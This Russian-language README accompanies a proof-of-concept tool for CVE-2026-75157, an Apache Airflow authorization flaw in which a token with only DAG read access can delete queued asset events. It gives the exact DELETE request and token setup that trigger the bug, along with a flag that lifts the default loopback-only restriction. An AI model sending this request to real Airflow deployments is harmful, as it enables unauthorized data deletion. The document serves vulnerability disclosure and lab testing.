
Автономный авторизованный универсальный HTTP PoC для CVE-2026-75157
Авторизованный PoC для исследования безопасности, демонстрирующий уязвимость авторизации в очереди событий Apache Airflow в версиях до 3.3.2.
Запускайте только против экземпляра Airflow, которым вы владеете или который вам явно разрешено тестировать. Стандартный запускающий модуль отклоняет цели, не являющиеся loopback-адресами. Этот репозиторий не содержит логики сканирования, перечисления целей, закрепления в системе, кражи учётных данных или деструктивных полезных нагрузок.
README.md
poc.py
poc.py — это универсальный HTTP-запускающий модуль, учитывающий целевую систему. Он принимает целевой URL, метод, путь, заголовки, тело, источник аутентификации и ожидаемый результат из командной строки вместо жёсткого задания хоста.
Проверка работоспособности локальной лаборатории Airflow:
python3 poc.py \
--target http://127.0.0.1:18080 \
--path /api/v2/monitor/health \
--method GET \
--expect-status 200 \
--expect-body healthy
Триггер CVE против уже подготовленного локального уязвимого экземпляра Airflow:
export AIRFLOW_POC_TOKEN='lab-only-restricted-token'
python3 poc.py \
--target http://127.0.0.1:18080 \
--path /api/v2/dags/cve_2026_75157_poc_dag/assets/queuedEvents \
--method DELETE \
--bearer-env AIRFLOW_POC_TOKEN \
--expect-status 204
Токен должен принадлежать одноразовому субъекту с доступом на чтение DAG и доступом на удаление Assets. Ожидаемое уязвимое поведение заключается в том, что ограниченный субъект может удалить событие из очереди. Airflow 3.3.2 или более поздней версии должен отклонить тот же запрос, если у субъекта также нет доступа на редактирование DAG.
--target URL Обязательный абсолютный HTTP(S)-адрес цели
--path PATH Необязательный путь, присоединяемый к --target
--method METHOD GET, POST, PUT, PATCH, DELETE, HEAD
--header 'Name: Value' Повторяемый заголовок запроса
--bearer-env ENV Чтение bearer-токена из ENV без его вывода
--json JSON Тело запроса в формате JSON
--body-file FILE Необработанное тело запроса
--expect-status STATUS Повторяемая проверка ожидаемого статуса
--expect-body TEXT Повторяемая проверка тела ответа
--timeout SECONDS
--no-follow-redirect
--allow-non-loopback Явное согласие на авторизованную цель вне лаборатории
Запускающий модуль возвращает код выхода 0 при успешной проверке, 1 при ошибках области применения/транспорта/аргументов и 2 при неудачной HTTP-проверке. Значения авторизации и cookie скрываются в выводе.
До Airflow 3.3.2 маршруты DELETE для очереди событий проверяли ось DAG с разрешением на чтение, а не на редактирование. Исправление меняет требование авторизации DAG на разрешение уровня записи. Этот PoC отправляет реальный HTTP-запрос; он не создаёт лабораторного пользователя или фикстуру базы данных.